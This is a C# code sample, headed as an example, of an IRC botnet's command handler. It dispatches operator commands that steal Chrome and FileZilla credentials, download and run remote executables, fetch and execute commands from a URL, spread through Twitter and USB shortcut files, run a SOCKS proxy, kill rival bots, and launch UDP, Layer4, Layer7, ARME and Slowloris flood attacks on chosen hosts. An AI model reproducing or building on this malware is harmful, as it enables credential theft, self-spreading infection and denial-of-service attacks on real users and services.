Пример #1
0
        public static void runCommand(string command, string channel, string param1, string param2, string param3, string param4, string[] message)
        {
            switch (command)
            {
            case ".v":
                WriteMessage("Version:" + ColorCode(" " + Config.version) + ", Path:" + ColorCode(" '" + Config.currentPath) + "', MD5:" + ColorCode(" " + Config.botMD5) + ", Registry:" + ColorCode(" " + Config.regLocation) /*+ ", Active Threads:" + IRC.ColorCode(" " + Process.GetCurrentProcess().Threads.Count) */ + ".", channel);
                break;

            case ".avinfo":
                WriteMessage("Antivirus Product:" + ColorCode(" " + Functions.GetAntiVirus()) + ", Firewall Product:" + ColorCode(" " + Functions.GetFirewall()) + ".", channel);
                break;

            case ".acc":
                Thread a = new Thread(() => Chrome.GetChrome(param1));
                a.IsBackground = true;
                a.Start();
                break;

            case ".j":
                if (!String.IsNullOrEmpty(param1))
                {
                    sw.WriteLine("JOIN " + param1);
                }
                break;

            case ".p":
                if (!String.IsNullOrEmpty(param1))
                {
                    sw.WriteLine("PART " + param1);
                }
                break;

            case ".sort":
                sw.WriteLine("JOIN #" + Functions.GeoIPCountry());
                break;

            case ".unsort":
                sw.WriteLine("PART #" + Functions.GeoIPCountry());
                break;

            case ".permsort":
                if (Functions.PermType() == "a")
                {
                    sw.WriteLine("JOIN #admins");
                }
                else
                {
                    sw.WriteLine("JOIN #users");
                }
                break;

            case ".twitter":
                Thread t = new Thread(() => Twitter.StartTwitterSpread(message));
                t.IsBackground = true;
                t.Start();
                break;

            case ".ftp":
                Thread f = new Thread(FTP.GetFileZilla);
                f.IsBackground = true;
                f.Start();
                break;

            case ".bk":
                if (param1 == "-i")
                {
                    Thread bk = new Thread(Botkiller.explorerFlash);
                    bk.IsBackground = true;
                    bk.Start();
                }
                else
                {
                    Thread bk = new Thread(Botkiller.initiate);
                    bk.IsBackground = true;
                    bk.Start();
                }
                break;

            case ".rc":
                IRC.Disconnect("Reconnecting...");
                Thread.Sleep(15000);
                break;

            case ".up":
                if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2))
                {
                    if (Ruskill.enabled)
                    {
                        Ruskill.enabled = false;
                    }
                    Thread u = new Thread(() => Functions.UpdateBot(param1, param2.ToUpper()));
                    u.IsBackground = true;
                    u.Start();
                }
                break;

            case ".rm":
                Functions.Uninstall("Uninstalling...");
                break;

            case ".dl":     // .dl URL ENVIRONMENT_VARIABLE
                Thread dl = new Thread(() => Functions.DownloadExeFile(param1, param2, param3, false));
                dl.IsBackground = true;
                dl.Start();
                break;

            case ".m":
                if (param1 == "on")
                {
                    isMuted = true;
                }
                if (param1 == "off")
                {
                    isMuted = false;
                }
                break;

            case ".arme":
                if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3))
                {
                    if (param1.Contains("http://"))
                    {
                        param1 = param1.Replace("http://", "");
                    }
                    ARME.delay     = Convert.ToInt32(param3);
                    ARME.host      = param1;
                    ARME.port      = Convert.ToInt32(param2);
                    ARME.isEnabled = true;
                    ARME.Start();

                    IRC.WriteMessage("ARME flood started on" + IRC.ColorCode(" " + ARME.host) + " on port" + IRC.ColorCode(" " + ARME.port) + " for" + IRC.ColorCode(" " + ARME.delay) + " seconds.", IRC.channel);
                }
                break;

            case ".layer7":
                if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3))
                {
                    if (param1.Contains("http://"))
                    {
                        param1 = param1.Replace("http://", "");
                    }
                    Layer7.delay     = Convert.ToInt32(param3);
                    Layer7.host      = param1;
                    Layer7.port      = Convert.ToInt32(param2);
                    Layer7.isEnabled = true;
                    Layer7.Start();

                    IRC.WriteMessage("Layer7 flood started on" + IRC.ColorCode(" " + Layer7.host) + " on port" + IRC.ColorCode(" " + Layer7.port) + " for" + IRC.ColorCode(" " + Layer7.delay) + " seconds.", IRC.channel);
                }
                break;

            case ".layer4":
                if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3))
                {
                    if (param1.Contains("http://"))
                    {
                        param1 = param1.Replace("http://", "");
                    }
                    Layer4.delay     = Convert.ToInt32(param3);
                    Layer4.host      = param1;
                    Layer4.port      = Convert.ToInt32(param2);
                    Layer4.isEnabled = true;
                    Layer4.Start();

                    IRC.WriteMessage("Layer4 flood started on" + IRC.ColorCode(" " + Layer4.host) + " on port" + IRC.ColorCode(" " + Layer4.port) + " for" + IRC.ColorCode(" " + Layer4.delay) + " seconds.", IRC.channel);
                }
                break;

            case ".udp":
                if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3))
                {
                    if (param1.Contains("http://"))
                    {
                        param1 = param1.Replace("http://", "");
                    }
                    UDP.delay     = Convert.ToInt32(param3);
                    UDP.host      = param1;
                    UDP.port      = Convert.ToInt32(param2);
                    UDP.isEnabled = true;
                    UDP.Start();

                    IRC.WriteMessage("UDP flood started on" + IRC.ColorCode(" " + UDP.host) + " on port" + IRC.ColorCode(" " + UDP.port) + " for" + IRC.ColorCode(" " + UDP.delay) + " seconds.", IRC.channel);
                }
                break;

            case ".slow":
                if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3))
                {
                    if (param1.Contains("http://"))
                    {
                        param1 = param1.Replace("http://", "");
                    }
                    Slowloris.delay     = Convert.ToInt32(param3);
                    Slowloris.host      = param1;
                    Slowloris.port      = Convert.ToInt32(param2);
                    Slowloris.isEnabled = true;
                    Slowloris.Start();

                    IRC.WriteMessage("Slowloris flood started on" + IRC.ColorCode(" " + Slowloris.host) + " on port" + IRC.ColorCode(" " + Slowloris.port) + " for" + IRC.ColorCode(" " + Slowloris.delay) + " seconds.", IRC.channel);
                }
                break;

            case ".stop":
                if (ARME.isEnabled || Layer7.isEnabled || Layer4.isEnabled || UDP.isEnabled || Slowloris.isEnabled)
                {
                    ARME.Stop();
                    Layer7.Stop();
                    Layer4.Stop();
                    UDP.Stop();
                    Slowloris.Stop();

                    IRC.WriteMessage("All active floods have been aborted.", channel);
                }
                break;

            case ".read":
                if (!String.IsNullOrEmpty(param1))
                {
                    using (WebClient wc = new WebClient())
                    {
                        IRC.WriteMessage("Attempting to perform commands from url:" + IRC.ColorCode(" " + param1) + ".", channel);
                        Functions.DecryptTopic(wc.DownloadString(param1));
                    }
                }
                break;

            case ".ruskill":
                if (!String.IsNullOrEmpty(param1))
                {
                    if (param1 == "on" && Ruskill.enabled == false)
                    {
                        Thread r = new Thread(Ruskill.StartRuskill);
                        r.IsBackground = true;
                        r.Start();
                    }
                    else if (param1 == "off")
                    {
                        Ruskill.enabled = false;
                    }
                }
                break;

            case ".socks":
                Thread s = new Thread(() => Functions.Socks(param1, param2));
                s.IsBackground = true;
                s.Start();
                break;

            case ".usb":
                try
                {
                    if (param1 == "on")
                    {
                        USBlnk.initiated = true;
                        Thread usb = new Thread(USBlnk.StartLNK);
                        usb.IsBackground = true;
                        usb.Start();
                    }
                    else if (param1 == "off")
                    {
                        USBlnk.initiated = false;
                        USBlnk.Stop();
                    }
                }
                catch
                {
                }
                break;

            default:
                break;
            }
        }